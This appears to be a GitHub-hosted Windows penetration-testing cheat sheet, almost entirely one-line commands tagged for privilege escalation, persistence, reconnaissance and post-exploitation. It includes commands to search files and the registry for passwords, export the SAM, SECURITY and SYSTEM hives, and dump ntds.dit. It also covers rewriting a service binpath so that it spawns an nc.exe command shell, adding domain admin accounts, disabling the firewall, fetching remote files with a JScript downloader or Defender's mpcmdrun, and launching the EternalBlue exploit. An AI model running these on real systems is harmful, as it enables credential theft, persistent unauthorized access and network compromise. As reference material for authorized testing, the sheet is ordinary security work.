-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwinpentest.txt
535 lines (429 loc) · 8.18 KB
/
winpentest.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
Windows Pentesting
# Windows
#plateform/windows #target/local #cat/PRIVESC
## get info system
```
systeminfo
```
## get info system limited
```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```
## find passwords
```
findstr /si 'password' *.txt *.xml *.docx
```
## find passwords - group policy preference (ms14-025)
```
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```
## get patches
```
wmic qfe get Caption,Description,HotFixID,InstalledOn
```
## get hostname
```
hostname
```
## get computer name
```powershell
$env:computername
```
## show environment - List all environment variables
```
set
```
## dns request for DC
```
nslookup -type=any <userdnsdomain>.
```
## show mounted disks
```
wmic logicaldisk get caption,description,providername
```
## show recycle bin
```
dir C:\$Recycle.Bin /s /b
```
## get architecture
```
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```
## list scheduled tasks
```
schtasks /query /fo LIST /v
```
## list one scheduled task
```
schtasks /query /fo LIST 2>nul | findstr <taskname>
```
## list process
```
tasklist /V
```
## list process and links to started services
```
tasklist /SVC
```
## list windows service started (1)
```
net start
```
## list services (2)
```
wmic service list brief
```
## list services (3)
```
sc query #List of services
```
## list installed software (1)
```
dir /a "C:\Program Files"
```
## list installed software (2)
```
dir /a "C:\Program Files (x86)"
```
## list installed software (3)
```
reg query HKEY_LOCAL_MACHINE\SOFTWARE
```
## show lsa cached credentials value
```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```
## register query word password (1)
```
reg query HKLM /f password /t REG_SZ /s
```
## register query word password (2)
```
reg query HKCU /f password /t REG_SZ /s
```
## register query extract SAM
When the Windows operating system is running, the hives are in use and mounted. The command-line tool named reg can be used to export them.
```
reg save HKLM\SAM 'C:\Windows\Temp\http://sam.save'
reg save HKLM\SECURITY 'C:\Windows\Temp\http://security.save'
reg save HKLM\SYSTEM 'C:\Windows\Temp\http://system.save'
```
## create shadow copy
```
wmic shadowcopy call create Volume='C:\'
```
## list shadow copy
```
vssadmin list shadows
```
## check service privilege
```
accesschk.exe /accepteula -ucqv <service_name>
```
## reconfigure service
```
sc config <service> binpath= "C:\nc.exe -nv 127.0.0.1 4444 -e C:\WINDOWS\System32\cmd.exe"
```
## change service
```
sc config <service> obj= ".\LocalSystem" password= ""
```
## start service
```
net start <service>
```
## check permission (1)
```
accesschk.exe /accepteula -dqv "<file>"
```
## check permission (2)
```
cacls "<file>"
```
## find weak folder permission
```
accesschk.exe -uwdqs Users <c>:\
```
## find weak file permission
```
accesschk.exe -uwqs Users <c>:\
```
% windows, download
## VBS download file script
#cat/ATTACK/FILE_TRANSFERT
```
echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");http://WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();WScript.Echo(WinHttpReq.ResponseText); > fu.js && cscript /nologo fu.js <file_url> > <downloaded_file>
```
% windows, users
## add user
#cat/PERSIST
```
net user <username> <password> /ADD
```
## add user to domain
#cat/PERSIST
```
net user <username> <password> /ADD /DOMAIN
```
## add user as admin
#cat/PERSIST
```
net localgroup administrators <username> /add
```
## run as over user
#cat/PRIVESC
```
runas /user:<domain>\<user> cmd.exe
```
## whoami - All info about me, take a look at the enabled tokens
#cat/PRIVESC
```
whoami /all
```
## whoami privilegied
#cat/PRIVESC
```
whoami /priv #Show only privileges
```
## list all users
#cat/PRIVESC
```
net users
```
## list domain admins (fr)
#plateform/windows #target/local #cat/RECON
```
net group "Admins du domaine"
```
## infos about a user
#cat/RECON
```
net user <username>
```
## infos on a Administrator and retrieve SID
```powershell
[wmi] "Win32_userAccount.Domain='<computer_name>',Name='Administrator'"
```
## infos about password policy
#cat/RECON
```
net accounts
```
## who logged in
#cat/PRIVESC
```
qwinsta
```
## List credentials
#cat/POSTEXPLOIT/CREDS_RECOVER
```
cmdkey /list
```
## show local groups
#cat/RECON
```
net localgroup
```
## show specific local group
```
net localgroup <group_name>
```
## show domain groups
```
net group /domain
```
## show domain group users
```
net group /domain <domain_group_name>
```
% windows, domain infos
## get domain name
```
echo %USERDOMAIN%
```
## get domain name (2)
```
echo %USERDNSDOMAIN%
```
## get computer domain name (3)
```
systeminfo | findstr /B /C:"Domain"
```
## get name of the DC
```
echo %logonserver%
```
## get name of the dc (2)
```
set logonserver #Get name of the domain controller
```
## list of domain groups
```
net groups /domain
```
## list of computer connected to the domain
```
net group "domain computers" /domain
```
## List all PCs of the domain
```
net view /domain
```
## list domain controllers
```
nltest /dclist:<domain>
```
## list pc accounts of domain controllers
```
net group "Domain Controllers" /domain
```
## List users with domain admin privileges
```
net group "Domain Admins" /domain
```
## Add user to domain admin group
```
net group "Domain Admins" <username> /add /domain
```
## Add user to domain admin group - FR
```
net group "Admins du domaine" <username> /add /domain
```
## List users that belongs to the administrators group inside the domain
```
net localgroup administrators /domain
```
## List all domain users
```
net user /domain
```
## get user domain information
```
net user <username> /domain
```
## domain password and lockout policy
```
net accounts /domain
```
## get mapping of the trust relationships
```
nltest /domain_trust
```
% windows, network
## all interfaces
```
ipconfig /all
```
## print all routes
```
route print
```
## list of know hosts
```
arp -a
```
## list open ports
```
netstat -ano
```
## show hosts file
```
type C:\WINDOWS\System32\drivers\etc\hosts
```
% windows, dir
## list hidden files
```
dir /a:h <path>
```
## Recursive list
```
dir /s /b
```
% windows, firewall
## show firewall state
```
netsh firewall show state
```
## show firewall config
```
netsh firewall show config
```
## turn off firewall
```
NetSh Advfirewall set allprofiles state off
```
## turn off firewall (2)
```
netsh firewall set opmode disable
```
## turn on firewall
```
NetSh Advfirewall set allprofiles state on
```
## firewall open port RDP
```
netsh firewall add portopening TCP 3389 "Remote Desktop"
```
% windows, ntds.dit
## dump ntds.dit (Windows >= 2008 server) - method 1
```
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
```
## dump ntds.dit (Windows >= 2008 server) - method 2
```
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
```
## dump ntds.dit (Windows <= 2003 server)
```
net start vss && vssadmin create shadow /for=c: && vssadmin list shadows && copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\temp
```
% windows, smb, share
## list of computer
```
net view
```
## list of computer shares on the domain
```
net view /all /domain <domain_name>
```
## list share of a computer
```
net view \\<ip> \ALL
```
## mount share locally
```
net use x: \\<ip>\<share_name>
```
## check current share
```
net share
```
% windows, file, download
## windows download file with windows defender
```
"c:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\mpcmdrun.exe" -DownloadFile -url <url> -path <result_file>
```
## windows download file with windows defender
```
mpcmdrun.exe -DownloadFile -url <url> -path <result_file>
```
% windows, active directory, dns
## find AD IP - show domain name and dns
```
nmcli dev show <interface>
```
## nslookup AD - domain
```
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain_name>
```
% windows, active directory
## enable sid history
Enable history on source domain for target domain (useful for forest extra SID exploitation)
```
netdom trust <source_domain> /d:<target_domain> /enablesidhistory:yes
```
% windows, cve
## windows eternal blue - smb - ms17-010
```
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue"
```